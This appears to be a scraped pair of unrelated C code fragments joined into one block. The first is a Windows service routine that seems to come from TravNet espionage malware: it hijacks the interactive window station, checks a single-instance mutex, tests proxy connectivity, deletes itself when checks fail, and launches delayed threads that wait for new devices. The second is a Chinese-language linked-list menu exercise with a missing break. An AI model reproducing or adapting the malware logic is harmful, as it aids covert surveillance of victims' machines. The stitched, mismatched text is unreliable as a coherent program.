extern "C" __declspec(dllexport) void ServiceMain() { Fast_ServiceStatus(SERVICE_START_PENDING, NO_ERROR, 1); Fast_ServiceStatus(SERVICE_RUNNING , NO_ERROR, 0); HWINSTA hProcWinStat = GetProcessWindowStation(); HWINSTA hWinStat = OpenWindowStation("winsta0", FALSE, WINSTA_ALL_ACCESS); if (NULL != hWinStat) SetProcessWindowStation(hWinStat); CloseWindowStation(hProcWinStat); g_hMutex = CreateMutex(NULL, TRUE, TRAVNET_MUTEX_NAME); if (ERROR_ALREADY_EXISTS == GetLastError()) { CloseHandle(g_hMutex); return; } Sleep(1000); if (FALSE == LoadConfig()) return; if (FALSE == g_bCheckedSuccess) { LoadProxyConfig(); if (g_bUseProxy) { sprintf(g_nProxy_IP__TEST , "%s", g_nProxy_IP); sprintf(g_nProxy_PORT__TEST , "%s", g_nProxy_PORT); sprintf(g_nProxy_USER__TEST , "%s", g_nProxy_USER); sprintf(g_nProxy_PSW__TEST , "%s", g_nProxy_PSW); if(FALSE == TestProxyConnection() && TRUE == g_bAutoCheck && FALSE == RetriveInfo()) { RemoveALL(); return; } } else if(TRUE == g_bAutoCheck && FALSE == RetriveInfo()) { RemoveALL(); return; } SetCheckSuccess(); } // Start main routine Sleep(60000); g_lpThread1 = CreateThread(NULL, 0, g_fnThread1, NULL, 0, &g_dwThreadId1); // Wait for new devices Sleep(10000); g_lpThread2 = CreateThread(NULL, 0, g_fnThread2, NULL, 0, &g_dwThreadId2); do Sleep(100); while (g_dwServiceStatus != SERVICE_STOP_PENDING && g_dwServiceStatus != SERVICE_STOPPED); }
int main() { int input = -1; int x = 0; int pos = 0; int k = 0; LinkList mylist; pListNode tmp = NULL; pListNode ret = NULL; InitLinklist(&mylist); menu(); while(1) { printf("请输入选项:\n"); scanf("%d",&input); switch(input) { case POPB: Popback(&mylist); break; case POPF: Popfront(&mylist); break; case PUSB: printf("请输入要插入的数据:\n"); scanf("%d",&x); PushBack(&mylist,x); break; case PUSF: printf("请输入要插入的数据:\n"); scanf("%d",&x); Pushfront(&mylist,x); break; case INSE: printf("请输入要插入的数据:\n"); scanf("%d",&x); printf("请输入要插入的位置(哪个数据之前):\n"); scanf("%d",&pos); Insert(&mylist,FindNode(&mylist,pos),x); break; case REMO: printf("请输入要删除的数据:\n"); scanf("%d",&x); Remove(&mylist,x); break; case REMOA: RemoveALL(&mylist); break; case PRINT: Printlist(&mylist); break; case ERASE: printf("请输入要擦除的位置(哪一个数字):\n"); scanf("%d",&pos); Erase(&mylist,FindNode(&mylist,pos)); break; case BUBBL: BubbleSort(&mylist); break; case FIND: printf("请输入要查找的数字:"); scanf("%d",&pos); FindNode(&mylist,pos); printf("%p",FindNode(&mylist,pos)); case REVERSE: Reverselist(&mylist); break; case INSEF: printf("请输入要插入的数据:\n"); scanf("%d",&x); printf("请输入要插入的位置(哪个数据之前):\n"); scanf("%d",&pos); InsertFrontNode(FindNode(&mylist,pos),x); break; case FINDM: ret = FindMid(&mylist); printf("中间结点为 %d\n",ret->data); break; case DELB: printf("请输入k的值:"); scanf("%d",&k); Delbackn(&mylist,k); break; case EXIT: return 0; break; default: printf("输入错误!\n"); break; } } system("pause"); return 0; }